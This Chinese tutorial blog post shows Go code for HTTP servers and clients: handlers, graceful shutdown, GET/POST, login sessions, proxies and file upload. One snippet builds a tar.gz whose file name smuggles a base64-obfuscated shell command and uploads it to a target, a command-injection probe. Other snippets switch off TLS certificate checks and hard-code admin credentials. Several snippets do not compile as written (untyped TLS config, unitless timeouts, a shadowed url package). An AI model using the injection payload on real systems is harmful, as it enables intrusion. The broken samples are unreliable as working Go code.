用go实现http服务端和请求端

news2024/12/31 5:44:09

一、概述

        本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。 

  • 使用http.HandleFunc实现http服务,返回hello world
package main

import (
   "fmt"
   "net/http"
)

func HelloHandler(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, "Hello World")
}

func main () {
   http.HandleFunc("/", HelloHandler)
   http.ListenAndServe(":8000", nil)
}
  • 使用http.Handle实现http服务
package main

import (
   "fmt"
   "net/http"
)

type HelloHandlerStruct struct {
   content string
}

//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, handler.content)
}

func main()  {
   http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
   http.ListenAndServe(":8000", nil)
}
  • 优雅的关闭http服务
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"syscall"
	"time"
)

type EchoHandler struct{}

func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
	// 设置响应头
	writer.Header().Add("X-Data", "foo")

	// 设置相应的cookie
	http.SetCookie(writer, &http.Cookie{
		Name:   "x-cookie",
		Value:  "bar",
		MaxAge: 86400,
		Secure: true,
	})
	//设置响应状态码为200
	writer.WriteHeader(200)

	// 设置响应体,打印网络请求信息
	fmt.Fprintln(writer, "===== Network =====")
	fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
	fmt.Fprintln(writer)

	// 设置响应体,打印请求方法 url host 协议信息
	fmt.Fprintln(writer, "===== Request Line =====")
	fmt.Fprintln(writer, "Method: ", request.Method)
	fmt.Fprintln(writer, "URL: ", request.URL)
	fmt.Fprintln(writer, "Host: ", request.Host)
	//fmt.Fprintln(writer, "URI: ", request.RequestURI)
	fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
		request.ProtoMajor, request.ProtoMinor)
	fmt.Fprintln(writer)

	// 设置输出请求的请求头
	fmt.Fprintln(writer, "===== Header =====")
	for k, v := range request.Header {
		fmt.Fprintf(writer, "%v: %v\n", k, v)
	}
	fmt.Fprintln(writer)

	// 设置输出请求的body
	body, err := ioutil.ReadAll(request.Body)
	if err == nil && len(body) > 0 {
		fmt.Fprintln(writer, "===== Raw Body =====")
		fmt.Fprintln(writer, string(body))
	}
}

func main() {
	// 创建系统信号接收器
	done := make(chan os.Signal)
	signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)

	// 创建 HTTP 服务器
	server := &http.Server{
		Addr:    ":8000",
		Handler: EchoHandler{},
	}

	// 启动 HTTP 服务器
	go func() {
		log.Println("Server starting...")
		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			log.Fatalf("ListenAndServe: %v", err)
		}
	}()

	// 监听系统信号并执行关闭操作
	<-done
	log.Println("Server shutting down...")

	// 创建一个超时上下文,确保关闭操作不会无限期等待
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	if err := server.Shutdown(ctx); err != nil {
		log.Fatal("Shutdown server:", err)
	}

	log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:

package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	// 目标 URL
	baseUrl := "http://localhost"

	// 执行 GET 请求
	doGet(baseUrl + "/gettest")

	// 执行 POST 请求
	doPost(baseUrl + "/posttest")

	// 执行 POST Form 请求
	doPostForm(baseUrl + "/postform")
}

func doGet(url string) {
	response, err := http.Get(url)
	if err != nil {
		fmt.Println("GET request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("GET Response:")
	fmt.Println(string(body))
}

func doPost(url string) {
	// 准备 POST 请求的 JSON 数据
	jsonPayload := []byte(`{"key": "value"}`)

	response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))
	if err != nil {
		fmt.Println("POST request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Response:")
	fmt.Println(string(body))
}

func doPostForm(url string) {
	// 准备 POST Form 数据
	data := url.Values{}
	data.Add("name", "Alice")
	data.Add("age", "30")

	response, err := http.PostForm(url, data)
	if err != nil {
		fmt.Println("POST Form request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Form Response:")
	fmt.Println(string(body))
}

2、自定义请求头,以及绕过https验证

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    targetURL := "https://example.com" // 替换为你的目标 URL

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送 GET 请求
    response, err := client.Get(targetURL)
    if err != nil {
        fmt.Println("GET request failed:", err)
        return
    }
    defer response.Body.Close()

    // 读取响应内容
    body := make([]byte, 1024)
    n, err := response.Body.Read(body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }

    // 输出响应内容
    fmt.Println("Response:")
    fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    baseURL := "https://example.com" // 替换为你的目标 URL
    loginURL := baseURL + "/login"   // 登录 URL
    securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL

    // 准备登录请求的数据
    loginData := url.Values{
        "user": {"admin"},
        "pass": {"123456"},
    }

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送登录请求
    loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
    if err != nil {
        fmt.Println("Error creating login request:", err)
        return
    }

    // 设置登录请求的头部和内容类型
    loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    for key, value := range headers {
        loginRequest.Header.Set(key, value)
    }

    loginResponse, err := client.Do(loginRequest)
    if err != nil {
        fmt.Println("Login request failed:", err)
        return
    }
    defer loginResponse.Body.Close()

    // 获取登录后的 Token
    var token string
    for _, cookie := range loginResponse.Cookies() {
        if cookie.Name == "token" {
            token = cookie.Value
            break
        }
    }

    if token == "" {
        fmt.Println("Login failed. No token received.")
        return
    }

    fmt.Println("Login successful. Token:", token)

    // 在后续请求中添加 Token 到请求头
    securedRequest, err := http.NewRequest("GET", securedURL, nil)
    if err != nil {
        fmt.Println("Error creating secured request:", err)
        return
    }

    securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
    for key, value := range headers {
        securedRequest.Header.Set(key, value)
    }

    securedResponse, err := client.Do(securedRequest)
    if err != nil {
        fmt.Println("Secured request failed:", err)
        return
    }
    defer securedResponse.Body.Close()

    // 读取并输出响应内容
    responseBody, err := ioutil.ReadAll(securedResponse.Body)
    if err != nil {
        fmt.Println("Error reading response body:", err)
        return
    }

    fmt.Println("Secured resource response:")
    fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包,并且通过接口上传

package main

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "crypto/tls"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func main() {
    // 压缩文件内容
    tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")

    // 发送 HTTP POST 请求
    url := "https://example.com/upload" // 替换为你的目标 URL
    uploadTarGz(url, tarContent)
}

func generateTarGzContent(filename string) []byte {
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // 添加文件到 tar 压缩包
    fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    header := &tar.Header{
        Name: filename,
        Size: int64(len(fileContent)),
    }
    if err := tw.WriteHeader(header); err != nil {
        fmt.Println("写入 tar 头部失败:", err)
        os.Exit(1)
    }
    if _, err := tw.Write(fileContent); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 tar 和 gzip 缓冲区
    if err := tw.Close(); err != nil {
        fmt.Println("关闭 tar 失败:", err)
        os.Exit(1)
    }
    if err := gw.Close(); err != nil {
        fmt.Println("关闭 gzip 失败:", err)
        os.Exit(1)
    }

    return buf.Bytes()
}

func uploadTarGz(url string, tarContent []byte) {
    // 创建一个 Buffer,用于构建 multipart/form-data 请求体
    var requestBody bytes.Buffer
    writer := multipart.NewWriter(&requestBody)

    // 写入 tar.gz 文件
    part, err := writer.CreateFormFile("file", "test.tar.gz")
    if err != nil {
        fmt.Println("创建表单文件失败:", err)
        os.Exit(1)
    }
    if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 multipart writer
    writer.Close()

    // 创建 HTTP 请求
    req, err := http.NewRequest("POST", url, &requestBody)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    // 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }

    // 使用自定义 Transport 发起请求
    client := &http.Client{Transport: tr}
    response, err := client.Do(req)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody, err := ioutil.ReadAll(response.Body)
    if err != nil {
        fmt.Println("读取响应内容失败:", err)
        os.Exit(1)
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}

5、设置http代理

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
)

func main() {
    // 创建 HTTP 客户端,并设置代理
    proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
    if err != nil {
        fmt.Println("解析代理地址失败:", err)
        os.Exit(1)
    }

    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }

    // 创建 HTTP 请求
    url := "https://example.com" // 替换为您要请求的目标 URL
    request, err := http.NewRequest("GET", url, nil)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }

    // 发送 HTTP 请求
    response, err := client.Do(request)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody := make([]byte, 0)
    buffer := make([]byte, 1024)
    for {
        n, err := response.Body.Read(buffer)
        if n > 0 {
            responseBody = append(responseBody, buffer[:n]...)
        }
        if err != nil {
            break
        }
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1039957.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

单片机涉及到这么多行业?

单片机在众多行业中都有广泛应用。汽车电子领域使用单片机来控制引擎、制动系统、安全系统等&#xff0c;提升车辆性能和安全性。不懂的可以看看这一套学习资料包&#xff0c;里面涵盖了一整个嵌入式行业教学资料&#xff0c;不论是小白入门还是精通进阶都包括在内&#xff0c;…

全面提升AD域安全认证 | 竹云IDaaS

传统的微软Active Directory目录已无法适应企业多样化的业务需求&#xff0c;借助身份云您可以快速整合企业本地、云端资源&#xff0c;从而使AD域管理变得更简单、安全、高效。 企业面临的挑战 AD域无法整合现代化系统 AD域仅支持 LDAP 、Kerberos 协议&#xff0c;不能整合…

uniapp 路由模式 history

亲测、比如 uniapp 的 H5 配置&#xff1a; nginx 配置如下&#xff0c;只影响网站下某个目录&#xff1a; location ^~ /test {try_files $uri $uri/ /test/index.html; }

HAProxy Data Plane API 实现对 haproxy 的配置管理

文章目录 前言一、安装1. 下载HAProxy Data Plane API2. 创建 Data Plane API 配置文件 /etc/haproxy/dataplaneapi.hcl3. 修改haproxy的配置文件 二、简单使用1. 查询请求2. 提交修改请求 总结 前言 我们平时对 haproxy 配置的修改&#xff0c;往往是 SSH 连接进去节点&#…

竞赛 基于深度学的图像修复 图像补全

1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于深度学的图像修复 图像补全 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f9ff; 更多资料, 项目分享&#xff1a; https://gitee.com/dancheng-se…

孙哥Spring源码第25集

第25集、处理代理中获取代理进行方法调用 0、问题所在 1、实现ApplicationContextAware接口实现代理 它的处理是在ApplicationContextAware中处理的 2、ExposeProxy分析 整体 分析 如何设置成了false就会有下面的问题 3、使用EnableAspectJAutoProxy解决代理问题 4、到底如何…

让自己敲代码的速度起飞

前言 打字速度可以说是成为一名程序员的基本功&#xff0c;程序员的打字速度在工作中越来越重要&#xff0c;下面就为大家分享一下我在联系打字速度的时候一些小经验&#xff0c;希望对大家有帮助。 刚开始学习编程的时候&#xff0c;我每天都会抽出1个小时进行打字练习&…

微信小程序实现拍照并拿到图片对象功能

微信小程序提供了函数chooseImage 我们可以在wxml中定义一个按钮 <view><button bindtap"photograph">拍照</button> </view>这里绑定了一个点击事件 叫 photograph 然后 我们在js中编写代码如下 //import { getAll } from "../../ap…

在B站上如何把已经上传的视频做成合集?

参考视频: 【在B站上如何把已经上传的视频做成合集&#xff1f;】 https://www.bilibili.com/video/BV1Uf4y1G7eR/?share_sourcecopy_web&vd_source8af85e60c2df9af1f0fd23935753a933 【B站投稿视频合集的几种方式最全攻略】 https://www.bilibili.com/video/BV1jZ4y1h7…

LLM-TAP随笔——大语言模型基础【深度学习】【PyTorch】【LLM】

文章目录 2.大语言模型基础2.1、编码器和解码器架构2.2、注意力机制2.2.1、注意力机制&#xff08;Attention&#xff09;2.2.2、自注意力机制&#xff08;Self-attention&#xff09;2.2.3、多头自注意力&#xff08;Multi-headed Self-attention&#xff09; 2.3、transforme…

Unity之Hololens如何实现3D物体交互

一.前言 什么是Hololens? Hololens是由微软开发的一款混合现实头戴式设备,它将虚拟内容与现实世界相结合,为用户提供了沉浸式的AR体验。Hololens通过内置的传感器和摄像头,能够感知用户的环境,并在用户的视野中显示虚拟对象。这使得用户可以与虚拟内容进行互动,将数字信…

【算法】算法设计与分析 课程笔记 第二章 递归与分治策略

2.1 递归 直接或间接地调用自身的算法称为递归算法。 用函数自身给出定义的函数称为递归函数。 2.1.1 阶乘 首先得想到一个求阶乘的函数&#xff1a; 这个函数的下面那个式子就用到了调用自身&#xff0c;所以可以用递归来实现&#xff0c;将主问题拆分成若干层的子问题&am…

分享从零开始学习网络设备配置--任务3.7 使用动态路由RIPv2实现网络连通

任务描述 某公司随着规模的不断扩大&#xff0c;路由器的数量开始有所增加。网络管理员发现原有的静态路由已经不适合现在的公司&#xff0c;实施动态路由RIPv2协议配置&#xff0c;实现网络中所有主机之间互相通信。 在路由器较多的网络环境中&#xff0c;手工配置静态路由…

Level FHE 的高效实现 兼容 Level FHE 的高级算法

参考文献&#xff1a; [CS05] Choi Y, Swartzlander E E. Parallel prefix adder design with matrix representation[C]//17th IEEE Symposium on Computer Arithmetic (ARITH’05). IEEE, 2005: 90-98.[SV11] Smart N P, Vercauteren F. Fully homomorphic SIMD operations[…

基于微信小程序的校园商铺系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言学生端微信端&#xff0c;主要功能有&#xff1a;商家的主要功能有&#xff1a;管理员的主要功能有&#xff1a;具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 …

商家收款2000手续费多少

目前不管是微信商户或者支付宝商户最低费率可以达到0.2%费率&#xff1b;市面上普通个体商户或者企业商家的收款费率一般在0.6左右&#xff0c;一些使用第三方聚合支付平台的也有使用0.38的&#xff0c;总体也就是10000块钱的费率是38-60块钱&#xff0c;对于一些流水比较大的商…

微调大模型工具-LoRA

介绍 微调 在机器学习领域&#xff0c;大型模型已成为解决各种问题的首选解决方案。从自然语言处理到计算机视觉&#xff0c;这些计算能力的庞然大物都表现出了无与伦比的性能。然而&#xff0c;这种性能实际上是有代价的。微调这些大型模型以适应特定任务或领域是一个资源密…

GE IS220PVIBH1A 336A4940CSP16 电源模块

GE IS220PVIBH1A 336A4940CSP16 电源模块是通用电气&#xff08;GE&#xff09;的一种电源模块&#xff0c;用于工业控制和电力系统中&#xff0c;提供电源供应和保护功能。以下是这种类型电源模块的一般特点和功能&#xff1a; 电源供应&#xff1a;GE IS220PVIBH1A 336A4940C…

编写基于冒泡排序算法的qsort函数

目录 1.简单认识冒泡排序 2.进入正文分析如何实现函数 3.1比较两个相邻元素的大小 3.2比较两个相邻元素大小后要换函数 4.my_qsort函数&#xff1a; 5.总结&#xff1a; 1.简单认识冒泡排序 冒泡排序的步骤如下&#xff1a; 比较相邻的两个元素&#xff0c;如果第一个元素比…

TS编译选项——不允许使用隐式any类型、不明确类型的this、严格检查空值、编译后文件自动设置严格模式

一、不允许使用隐式any类型 在tsconfig.js文件中配置noImplicitAny属性 {"compilerOptions": {// 不允许使用隐式any类型"noImplicitAny": true} } 开启后即可禁止使用隐式的any类型 注意&#xff1a;显式的any类型并不会被禁止 二、不允许使用不明确类…